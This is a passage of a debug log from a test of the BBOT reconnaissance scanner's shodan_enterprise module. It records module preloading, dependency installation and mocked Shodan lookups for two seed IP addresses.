modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:48:12,573 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:48:12,573 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:48:12,574 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:48:12,575 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:48:12,576 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:48:12,577 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:48:12,578 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:48:12,579 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:48:12,580 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:48:12,582 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:48:12,583 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:48:12,583 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:48:12,584 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:48:12,585 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:48:12,586 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:48:12,587 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:48:12,588 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:48:12,590 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:48:12,591 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:48:12,595 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:48:12,597 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:48:12,600 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:48:12,601 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:48:12,603 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:48:12,604 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:48:12,606 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:48:12,607 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:48:12,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:48:12,609 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:48:12,610 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:48:12,611 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:48:12,612 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:48:12,614 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:48:12,615 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:48:12,616 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:48:12,616 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:48:12,617 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:48:12,796 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4639472128 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:48:12,796 [DEBUG] filelock _api.py:334 Lock 4639472128 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:48:12,798 [DEBUG] filelock _api.py:364 Attempting to release lock 4639472128 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:48:12,798 [DEBUG] filelock _api.py:367 Lock 4639472128 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:48:13,735 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:48:13,735 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:48:13,735 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:48:13,875 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:48:14,442 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:48:14,442 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:48:14,443 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:48:14,443 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:48:14,652 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:48:14,654 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:48:14,765 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:48:14,766 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:48:14,821 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) -2026-02-27 21:48:14,824 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:48:14,824 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:48:15,259 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:48:15,260 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:48:17,486 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:48:17,487 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:48:17,487 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:48:19,555 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:48:19,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:48:19,566 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:48:19,567 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:48:19,567 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:48:19,567 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:48:19,573 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/cw5svhj8crdes4jzfovd -2026-02-27 21:48:20,795 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:48:20,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:48:20,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:48:20,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:48:20,799 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:48:20,955 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:48:20,955 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:48:20,955 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:48:20,957 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:48:20,958 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:48:20,958 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:48:20,958 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:48:20,959 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:48:20,960 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:48:20,960 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:48:20,961 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:48:20,964 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:48:20,965 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:48:20,967 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:48:20,969 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:48:20,969 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:48:20,969 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:48:21,145 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2j3y4i2tg8 -2026-02-27 21:48:21,145 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:48:21,279 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:48:21,280 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:48:21,280 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:48:21,283 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:48:21,284 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:48:21,381 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 21:48:21,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:48:21,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 21:48:21,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 21:48:21,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:48:21,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:48:21,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:48:21,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:48:21,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:48:21,396 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:48:21,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:48:21,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:48:21,398 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:48:21,402 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,402 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,403 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,404 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,404 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,405 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,405 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,409 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:48:21,512 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 21:48:21,515 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,515 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,516 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,516 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,517 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:48:21,517 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,518 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,519 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:48:21,602 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None -2026-02-27 21:48:21,603 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. -2026-02-27 21:48:21,605 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:48:21,606 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:48:21,606 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 21:48:21,607 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 21:48:21,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 21:48:21,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,608 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 21:48:21,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': 